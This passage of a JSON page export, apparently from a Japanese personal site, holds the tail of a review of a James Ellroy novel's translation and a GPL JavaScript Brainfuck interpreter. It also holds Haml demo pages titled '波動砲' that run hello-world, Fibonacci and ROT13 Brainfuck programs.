を混迷と訳するような少々お上品な傾向が見られ(これは素直に「糞の山」でいいと思う)、原著の雰囲気を損なっている部分がある。 \r\n\r\nいくつかの問題はあるがジェイムズ・エルロイの小説のなかで最も上質な作品のひとつであると思う。ハードカヴァー版は少々高価ではあるが、十分にその価値はあるだろう。 \r\n\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4163742808\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-jp.amazon.co.jp/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=4163742905\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e","created_at":"2011-08-02T14:58:19.000Z","updated_at":"2011-08-02T14:58:19.000Z"},{"id":1829,"name":"js/brainfuck.js","body":"raw\r\n\"use strict\";\r\n\r\n// This program is free software; you can redistribute it and/or modify\r\n// it under the terms of the GNU General Public License as published by\r\n// the Free Software Foundation; either version 2 of the License, or\r\n// (at your option) any later version.\r\n// \r\n// This program is distributed in the hope that it will be useful,\r\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n// GNU General Public License for more details.\r\n// \r\n// You should have received a copy of the GNU General Public License\r\n// along with this program; if not, write to the Free Software\r\n// Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\r\n// MA 02110-1301, USA.\r\n\r\n\r\n// the javascript-way to do namespaces\r\nvar Brainfuck = {};\r\n\r\nBrainfuck.config = {\r\n memSize : 30000,\r\n cellSize : 255,\r\n preprocess : true\r\n}\r\n\r\n// this preprocessor contains my very little wldmus*-shortcut extension \r\n// to the standard brainfuck implementation. works like this:\r\n// iX = increment X -\u003e increment current cell by X (e.g.: i4 = ++++)\r\n// dX = decrement X -\u003e decrement current cell by X (e.g.: d4 = ----)\r\n// lX = left X -\u003e move pointer X to the left (e.g.: l4 = \u003c\u003c\u003c\u003c)\r\n// rX = right X -\u003e move pointer X to the right (e.g.: r4 = \u003e\u003e\u003e\u003e)\r\n// and a comment option:\r\n// use # ; or * to open single-line comments\r\nBrainfuck.preprocess = function (code) {\r\n \"use strict\";\r\n var commentRE = /[\\#\\;\\*].*\\n/g,\r\n shortcutRE = /([rlid])(\\d+)/gi,\r\n match, repl,\r\n \r\n // inline function to translate shortcut into bf-code\r\n createCode = function (mcr, x) {\r\n \"use strict\";\r\n var repl = \"\",\r\n instr = \"\",\r\n i;\r\n \r\n switch (mcr) {\r\n case \"i\":\r\n instr = \"+\";\r\n break;\r\n case \"d\":\r\n instr = \"-\";\r\n break;\r\n case \"l\":\r\n instr = \"\u003c\";\r\n break;\r\n case \"r\":\r\n instr = \"\u003e\";\r\n break;\r\n default:\r\n instr = \"\";\r\n }\r\n \r\n for (i = 0; i \u003c parseInt(x); i += 1) {\r\n repl += instr;\r\n }\r\n \r\n return repl;\r\n };\r\n \r\n //strip comments\r\n code = code.replace(commentRE, \"\");\r\n \r\n //search and replace shortcuts\r\n match = shortcutRE.exec(code);\r\n while (match) {\r\n var repl = createCode(match[1], parseInt(match[2]));\r\n code = code.replace(match[0], repl);\r\n match = shortcutRE.exec(code);\r\n }\r\n \r\n return code;\r\n}\r\n\r\n// turn your strings into valid and relativly slim and fast bf-code.\r\n// created bf-code uses one cell (one cell!) and is (at least a bit)\r\n// optimized.\r\nBrainfuck.text2bf = function (txt, clearMem) {\r\n \"use strict\";\r\n var code = \"\",\r\n lastCharCode, x,\r\n instr = \"+\",\r\n i, l = txt.length,\r\n j, k;\r\n for (i=0; i\u003cl; i+=1) {\r\n \r\n // nimm charcode an aktueller stelle\r\n k = txt.charCodeAt(i);\r\n \r\n if (k \u003e 255) {\r\n return \"CharCode out of range at byte \"+(i+1)+\": \"+txt[i];\r\n }\r\n \r\n // wenn wir schon weiter als anfang sind, bilde differenz von letztem zeichenwert\r\n if (i \u003e 0) {\r\n x = k - lastCharCode;\r\n }\r\n else {\r\n x = k;\r\n }\r\n \r\n // suche instruktion heraus jenachdem differenz negativ oder positiv ist\r\n if (x \u003c 0) {\r\n instr = \"-\";\r\n }\r\n else if (x \u003e 0) {\r\n instr = \"+\";\r\n }\r\n else {\r\n instr = \"\";\r\n }\r\n \r\n // speichere zeichenwert für nächsten durchlauf\r\n lastCharCode = k;\r\n \r\n // schreibe code\r\n for (j=0; j\u003cMath.abs(x); j+=1) {\r\n code += instr;\r\n }\r\n code += \".\";\r\n }\r\n \r\n // soll speicher nach zeichnen freigemacht werden?\r\n code += (clearMem) ?\"[-]\" :\"\";\r\n \r\n return code;\r\n}\r\n\r\n// jumpTable parses bf-code and creates a list that indicates where the\r\n// pointer has to jump to find a matching bracket.\r\n// it speeds up interpretation significantly because the interpreter\r\n// doesn't have to look for matching brackets for his own.\r\nBrainfuck.jumpTable = function (code) {\r\n \"use strict\";\r\n var table = [],\r\n stack = [],\r\n c, x, i, l = code.length;\r\n for (i=0; i\u003cl; i+=1) {\r\n //console.log(stack);\r\n c = code[i];\r\n table[i] = null;\r\n if (c == \"[\") {\r\n stack.push(i);\r\n }\r\n else if (c == \"]\") {\r\n x = stack.pop();\r\n if (!isNaN(x)) {\r\n // \"+1\" is to land one to the right of matching bracket, speeds interpretation up\r\n table[x] = i - x + 1;\r\n table[i] = (i + 1 \u003c l) ?x - i + 1 :x - i;\r\n }\r\n else {\r\n throw new Error(\"Unmatched closing bracket at byte \"+i);\r\n }\r\n }\r\n }\r\n if (stack.length \u003e 0) {\r\n throw new Error(\"Unmatched closing bracket at byte \"+stack.pop());\r\n }\r\n return table;\r\n}\r\n\r\n\r\n// the interpreter. simple but pretty fast compared to javascript\r\n// interpreters out there. has no interactive option (it's on the list)\r\n// and returns nothing but pure output.\r\nBrainfuck.interprete = function (code, inpt) {\r\n \"use strict\";\r\n var memSize = Brainfuck.config.memSize,\r\n cellSize = Brainfuck.config.cellSize,\r\n pointer = 0,\r\n iterator = 0,\r\n len = 0,\r\n \r\n memory = new Array(memSize),\r\n jumpTable = [],\r\n \r\n input = inpt.split(\"\"),\r\n output = \"\",\r\n i, c;\r\n \r\n //init memory\r\n for (i=0; i\u003cmemSize; i+=1) {\r\n memory[i] = 0;\r\n }\r\n \r\n // preprocess code\r\n if (Brainfuck.config.preprocess) {\r\n code = Brainfuck.preprocess(code);\r\n }\r\n \r\n len = code.length;\r\n \r\n // create path table\r\n jumpTable = Brainfuck.jumpTable(code);\r\n \r\n while (iterator \u003c len) {\r\n switch (code[iterator]) {\r\n case \"\u003e\":\r\n pointer = (pointer + 1) % memSize;\r\n iterator += 1;\r\n break;\r\n case \"\u003c\":\r\n pointer = (pointer - 1) % memSize;\r\n iterator += 1;\r\n break;\r\n case \"+\":\r\n memory[pointer] = (memory[pointer] + 1) % cellSize;\r\n iterator += 1;\r\n break;\r\n case \"-\":\r\n memory[pointer] = (memory[pointer] - 1) % cellSize;\r\n iterator += 1;\r\n break;\r\n case \"[\":\r\n if (memory[pointer] === 0) {\r\n iterator += jumpTable[iterator];\r\n }\r\n else {\r\n iterator += 1;\r\n }\r\n break;\r\n case \"]\":\r\n if (memory[pointer] !== 0) {\r\n iterator += jumpTable[iterator];\r\n }\r\n else {\r\n iterator += 1;\r\n }\r\n break;\r\n case \".\":\r\n //output += String.fromCharCode(memory[pointer]);\r\n iterator += 1;\r\n break;\r\n case \",\":\r\n c = input.shift() || \"\";\r\n memory[pointer] = c.charCodeAt(0) || 0;\r\n iterator += 1;\r\n break;\r\n default:\r\n iterator += 1;\r\n }\r\n }\r\n \r\n return output;\r\n}\r\n\r\n// this is a more verbose but otherwise identical version of the above\r\n// interpreter method. this version exists to keep the pure-interpreter\r\n// version as fast as possible.\r\nBrainfuck.interprete.stats = function (code, inpt) {\r\n \"use strict\";\r\n var time = +new Date,\r\n memSize = Brainfuck.config.memSize,\r\n cellSize = Brainfuck.config.cellSize,\r\n pointer = 0,\r\n iterator = 0,\r\n len = 0,\r\n counter = 0,\r\n \r\n \r\n memory = new Array(memSize),\r\n jumpTable,\r\n \r\n input = inpt.split(\"\"),\r\n output = \"\",\r\n i, c;\r\n \r\n //init memory\r\n for (i=0; i\u003cmemSize; i+=1) {\r\n memory[i] = 0;\r\n }\r\n \r\n // preprocess code\r\n if (Brainfuck.config.preprocess) {\r\n code = Brainfuck.preprocess(code);\r\n }\r\n \r\n len = code.length;\r\n \r\n // create path table\r\n jumpTable = Brainfuck.jumpTable(code);\r\n \r\n while (iterator \u003c len) {\r\n switch (code[iterator]) {\r\n case \"\u003e\":\r\n pointer = (pointer + 1) % memSize;\r\n iterator += 1;\r\n counter += 1;\r\n break;\r\n case \"\u003c\":\r\n pointer = (pointer - 1) % memSize;\r\n iterator += 1;\r\n counter += 1;\r\n break;\r\n case \"+\":\r\n memory[pointer] = (memory[pointer] + 1) % cellSize;\r\n iterator += 1;\r\n counter += 1;\r\n break;\r\n case \"-\":\r\n memory[pointer] = (memory[pointer] - 1) % cellSize;\r\n iterator += 1;\r\n counter += 1;\r\n break;\r\n case \"[\":\r\n if (memory[pointer] === 0) {\r\n iterator += jumpTable[iterator];\r\n }\r\n else {\r\n iterator += 1;\r\n }\r\n counter += 1;\r\n break;\r\n case \"]\":\r\n if (memory[pointer] !== 0) {\r\n iterator += jumpTable[iterator];\r\n }\r\n else {\r\n iterator += 1;\r\n }\r\n counter += 1;\r\n break;\r\n case \".\":\r\n output += String.fromCharCode(memory[pointer]);\r\n //console.log(output);\r\n iterator += 1;\r\n counter += 1;\r\n break;\r\n case \",\":\r\n c = input.shift() || \"\";\r\n memory[pointer] = c.charCodeAt(0) || 0;\r\n iterator += 1;\r\n counter += 1;\r\n break;\r\n default:\r\n iterator += 1;\r\n }\r\n }\r\n \r\n return {\"time\":+new Date-time, \"count\": counter, \"output\": output};\r\n}\r\n","created_at":"2011-08-14T11:33:42.000Z","updated_at":"2011-08-14T11:33:42.000Z"},{"id":1830,"name":"波動砲","body":"\r\nhaml\r\n%h1 波動砲\r\n.intro\r\n 波動砲、発射ー!!!\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n Programmcode:\r\n ++++++++++[\u0026gt;+++++++\u0026gt;++++++++++\u0026gt;+++\u0026gt;+\u0026lt;\u0026lt;\u0026lt;\u0026lt;-]\u0026gt;++.\u0026gt;+.+++++++..+++.\u0026gt;++.\u0026lt;\u0026lt;+++++++++++++++.\u0026gt;.+++.------.--------.\u0026gt;+.\u0026gt;. %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} Nutzer-Eingabe\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} Programmausgabe\r\n #buttons\r\n %button#interprete Interprete\r\n %button#txt2bf txt2bf\r\n:javascript\r\n \"use strict\";\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\"),\r\n txt2bf = document.getElementById(\"txt2bf\"),\r\n helloworld = document.getElementById(\"helloworld\"),\r\n fibonacci = document.getElementById(\"fibonacci\"),\r\n rot13 = document.getElementById(\"rot13\"),\r\n time = document.getElementById(\"time\"),\r\n commands = document.getElementById(\"commands\"),\r\n lorem = document.getElementById(\"lorem\"),\r\n code_hw = \"i10[\u003ei7\u003ei10\u003ei3\u003e+l4-]\u003e++.\u003e+.i7..i3.\u003e++.\u003c\u003ci15.\u003e.i3.d6.d8.\u003e+.\u003e.\", \r\n code_fb = \"i11\u003e+r4i44\u003ei32l6[\u003e[r6+\u003e+l7-]r7[l7+r7-]\u003c[\u003ei10[-\u003c-[\u003e\u003e+\u003e+l3-]r3[l3+r3-]+\u003c[\u003e[-]\u003c[-]]\u003e[\u003c\u003c[r3+l3-]\u003e\u003e[-]]\u003c\u003c]r3[\u003e\u003e+\u003e+l3-]r3[l3+r3-]+\u003c[\u003e[-]\u003c[-]]\u003e[\u003c\u003c+\u003e\u003e[-]]l7]r5[i48.[-]]i10\u003c[-\u003e-\u003c]\u003ei48.[-]l12[r3+\u003e+l4-]r4[l4+r4-]\u003c-[\u003e\u003e.\u003e.l3[-]]\u003c\u003c[\u003e\u003e+\u003e+l3-]r3[l3+r3-]\u003c\u003c[\u003c+\u003e-]\u003e[\u003c+\u003e-]l3-]\",\r\n code_rot13 = \",[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e++++++++++++++\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e\u003e+++++[\u003c-----\u003e-]\u003c\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e++++++++++++++\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e++++++++++++++\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e\u003e+++++[\u003c-----\u003e-]\u003c\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e++++++++++++++\u003c-[\u003e+\u003c-]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\u003e.[-]\u003c,]\",\r\n ipsum = \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.\";\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n code.value = Brainfuck.preprocess(code.value);\r\n out = Brainfuck.interprete.stats(code.value, stdi.value);\r\n time.innerHTML = out.time+\"ms\";\r\n commands.innerHTML = out.count;\r\n stdo.value = out.output;\r\n }\r\n \r\n lorem.onclick = function () {\r\n stdi.value = ipsum;\r\n }\r\n \r\n txt2bf.onclick = function () {\r\n var rslt = Brainfuck.text2bf(code.value);\r\n stdo.value = rslt;\r\n }\r\n \r\n helloworld.onclick = function () {\r\n code.value = code_hw;\r\n }\r\n \r\n fibonacci.onclick = function () {\r\n code.value = code_fb;\r\n }\r\n \r\n rot13.onclick = function () {\r\n code.value = code_rot13;\r\n }\r\n }\r\n","created_at":"2011-08-14T11:39:37.000Z","updated_at":"2011-08-14T11:39:37.000Z"},{"id":1831,"name":"波動砲","body":"haml\r\n%h1 波動砲\r\n.intro\r\n 波動砲、発射ー!!!\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n Programmcode:\r\n ++++++++++[\u0026gt;+++++++\u0026gt;++++++++++\u0026gt;+++\u0026gt;+\u0026lt;\u0026lt;\u0026lt;\u0026lt;-]\u0026gt;++.\u0026gt;+.+++++++..+++.\u0026gt;++.\u0026lt;\u0026lt;+++++++++++++++.\u0026gt;.+++.------.--------.\u0026gt;+.\u0026gt;. %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} Nutzer-Eingabe\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} Programmausgabe\r\n #buttons\r\n %button#interprete Interprete\r\n %button#txt2bf txt2bf\r\n:javascript\r\n \"use strict\";\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\"),\r\n txt2bf = document.getElementById(\"txt2bf\"),\r\n helloworld = document.getElementById(\"helloworld\"),\r\n fibonacci = document.getElementById(\"fibonacci\"),\r\n rot13 = document.getElementById(\"rot13\"),\r\n time = document.getElementById(\"time\"),\r\n commands = document.getElementById(\"commands\"),\r\n lorem = document.getElementById(\"lorem\"),\r\n code_hw = \"i10[\u003ei7\u003ei10\u003ei3\u003e+l4-]\u003e++.\u003e+.i7..i3.\u003e++.\u003c\u003ci15.\u003e.i3.d6.d8.\u003e+.\u003e.\", \r\n code_fb = \"i11\u003e+r4i44\u003ei32l6[\u003e[r6+\u003e+l7-]r7[l7+r7-]\u003c[\u003ei10[-\u003c-[\u003e\u003e+\u003e+l3-]r3[l3+r3-]+\u003c[\u003e[-]\u003c[-]]\u003e[\u003c\u003c[r3+l3-]\u003e\u003e[-]]\u003c\u003c]r3[\u003e\u003e+\u003e+l3-]r3[l3+r3-]+\u003c[\u003e[-]\u003c[-]]\u003e[\u003c\u003c+\u003e\u003e[-]]l7]r5[i48.[-]]i10\u003c[-\u003e-\u003c]\u003ei48.[-]l12[r3+\u003e+l4-]r4[l4+r4-]\u003c-[\u003e\u003e.\u003e.l3[-]]\u003c\u003c[\u003e\u003e+\u003e+l3-]r3[l3+r3-]\u003c\u003c[\u003c+\u003e-]\u003e[\u003c+\u003e-]l3-]\",\r\n code_rot13 = \",[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e++++++++++++++\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e\u003e+++++[\u003c-----\u003e-]\u003c\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e++++++++++++++\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e++++++++++++++\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e\u003e+++++[\u003c-----\u003e-]\u003c\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e++++++++++++++\u003c-[\u003e+\u003c-]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\u003e.[-]\u003c,]\",\r\n ipsum = \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.\";\r\n \r\n interprete.onclick = function () {\r\n var out;\r\n code.value = Brainfuck.preprocess(code.value);\r\n out = Brainfuck.interprete.stats(code.value, stdi.value);\r\n time.innerHTML = out.time+\"ms\";\r\n commands.innerHTML = out.count;\r\n stdo.value = out.output;\r\n }\r\n \r\n lorem.onclick = function () {\r\n stdi.value = ipsum;\r\n }\r\n \r\n txt2bf.onclick = function () {\r\n var rslt = Brainfuck.text2bf(code.value);\r\n stdo.value = rslt;\r\n }\r\n \r\n helloworld.onclick = function () {\r\n code.value = code_hw;\r\n }\r\n \r\n fibonacci.onclick = function () {\r\n code.value = code_fb;\r\n }\r\n \r\n rot13.onclick = function () {\r\n code.value = code_rot13;\r\n }\r\n }\r\n","created_at":"2011-08-14T11:39:46.000Z","updated_at":"2011-08-14T11:39:46.000Z"},{"id":1832,"name":"波動砲","body":"haml\r\n%script{:src =\u003e \"http://ssig33.com/js/brainfuck.js\"}\r\n%h1 波動砲\r\n.intro\r\n 波動砲、発射ー!!!\r\n %textarea#code{:cols =\u003e \"60\", :rows =\u003e \"10\"}\r\n :preserve\r\n Programmcode:\r\n ++++++++++[\u0026gt;+++++++\u0026gt;++++++++++\u0026gt;+++\u0026gt;+\u0026lt;\u0026lt;\u0026lt;\u0026lt;-]\u0026gt;++.\u0026gt;+.+++++++..+++.\u0026gt;++.\u0026lt;\u0026lt;+++++++++++++++.\u0026gt;.+++.------.--------.\u0026gt;+.\u0026gt;. %textarea#stdi{:cols =\u003e \"60\", :rows =\u003e \"1\"} Nutzer-Eingabe\r\n %textarea#stdo{:cols =\u003e \"90\", :rows =\u003e \"10\"} Programmausgabe\r\n #buttons\r\n %button#interprete Interprete\r\n %button#txt2bf txt2bf\r\n:javascript\r\n \"use strict\";\r\n\r\n window.onload = function () {\r\n var code = document.getElementById(\"code\"),\r\n stdi = document.getElementById(\"stdi\"),\r\n stdo = document.getElementById(\"stdo\"),\r\n interprete = document.getElementById(\"interprete\"),\r\n txt2bf = document.getElementById(\"txt2bf\"),\r\n helloworld = document.getElementById(\"helloworld\"),\r\n fibonacci = document.getElementById(\"fibonacci\"),\r\n rot13 = document.getElementById(\"rot13\"),\r\n time = document.getElementById(\"time\"),\r\n commands = document.getElementById(\"commands\"),\r\n lorem = document.getElementById(\"lorem\"),\r\n code_hw = \"i10[\u003ei7\u003ei10\u003ei3\u003e+l4-]\u003e++.\u003e+.i7..i3.\u003e++.\u003c\u003ci15.\u003e.i3.d6.d8.\u003e+.\u003e.\", \r\n code_fb = \"i11\u003e+r4i44\u003ei32l6[\u003e[r6+\u003e+l7-]r7[l7+r7-]\u003c[\u003ei10[-\u003c-[\u003e\u003e+\u003e+l3-]r3[l3+r3-]+\u003c[\u003e[-]\u003c[-]]\u003e[\u003c\u003c[r3+l3-]\u003e\u003e[-]]\u003c\u003c]r3[\u003e\u003e+\u003e+l3-]r3[l3+r3-]+\u003c[\u003e[-]\u003c[-]]\u003e[\u003c\u003c+\u003e\u003e[-]]l7]r5[i48.[-]]i10\u003c[-\u003e-\u003c]\u003ei48.[-]l12[r3+\u003e+l4-]r4[l4+r4-]\u003c-[\u003e\u003e.\u003e.l3[-]]\u003c\u003c[\u003e\u003e+\u003e+l3-]r3[l3+r3-]\u003c\u003c[\u003c+\u003e-]\u003e[\u003c+\u003e-]l3-]\",\r\n code_rot13 = \",[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e++++++++++++++\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e\u003e+++++[\u003c-----\u003e-]\u003c\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e++++++++++++++\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e++++++++++++++\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e\u003e+++++[\u003c-----\u003e-]\u003c\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c-[\u003e+\u003c